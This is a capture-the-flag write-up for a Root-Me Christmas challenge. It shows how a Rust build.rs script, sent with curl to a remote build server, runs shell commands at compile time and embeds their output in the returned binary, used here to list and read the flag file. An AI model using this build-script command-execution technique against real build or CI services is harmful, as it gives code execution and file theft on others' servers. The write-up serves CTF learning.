Xmas-Rootme - (04) Build and destroy
25/12/2024We have a misc challenge based on rust for day 4, A kind server is compiling code for us.
We have a misc challenge based on rust for day 4, A kind server is compiling code for us.
Source files : sources
We get this command in the chall description
curl -sSk -X POST -H 'Content-Type: application/json' https://day4.challenges.xmas.root-me.org/remote-build -d '{"src/main.rs":"fn main() { println!(\"Hello, world!\"); }"}' --output binary file binary # binary: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, ...
We can see that we can send a path for a rust file and rust code, then the compiled executable is returned to us. The first idea that comes to mind is that, if we could create a variable at compile time and then print it, we could put the output of a command in this variable.
After some researchs, I see that in rust there is a build.rs
file where we could create a compile time variable. Luckuly for us the server accpets multiple files, so let's try this solution.
// build.rs use std::process::Command; fn main() { let output = Command::new("echo") .arg("test") .output() .expect("Failed to execute"); let value = String::from_utf8(output.stdout).expect("Invalid UTF-8 output"); println!("cargo:rustc-env=MY_VAR={}", escaped_value); }
// main.rs fn main() { const MY_VAR: &str = env!("MY_VAR"); println!("Variable : {}", MY_VAR); }
Now we just need to send it and ecexute it to see if it worked, which gives us this beautiful payload :
curl -sSk \ -X POST \ -H 'Content-Type: application/json' \ https://day4.challenges.xmas.root-me.org/remote-build \ -d '{"src/main.rs":"fn main() {const MY_VAR: &str = env!(\"MY_VAR\");println!(\"The compile-time variable is:\n{}\", MY_VAR);}","build.rs": "use std::process::Command;fn main() {let output = Command::new(\"echo\").arg(\"test\").output().expect(\"Failed to execute\");let value = String::from_utf8(output.stdout).expect(\"Invalid UTF-8 output\");println!(\"cargo:rustc-env=MY_VAR={}\", value);}"}' \ --output binary
And bingo we get the output of the echo command :)
Now lets see where the flag is by replacing the echo command with ls /flag
, because in the sources, it looked like a random location.
A very nice filename, now let's just read it with cat ! Here is the final payload :
curl -sSk \ -X POST \ -H 'Content-Type: application/json' \ https://day4.challenges.xmas.root-me.org/remote-build \ -d '{"src/main.rs":"fn main() {const MY_VAR: &str = env!(\"MY_VAR\");println!(\"The compile-time variable is:\n{}\", MY_VAR);}","build.rs": "use std::process::Command;fn main() {let output = Command::new(\"cat\").arg(\"/flag/randomflaglolilolbigbisous.txt\").output().expect(\"Failed to execute\");let value = String::from_utf8(output.stdout).expect(\"Invalid UTF-8 output\");println!(\"cargo:rustc-env=MY_VAR={}\", value);}"}' \ --output binary
And we get the flag !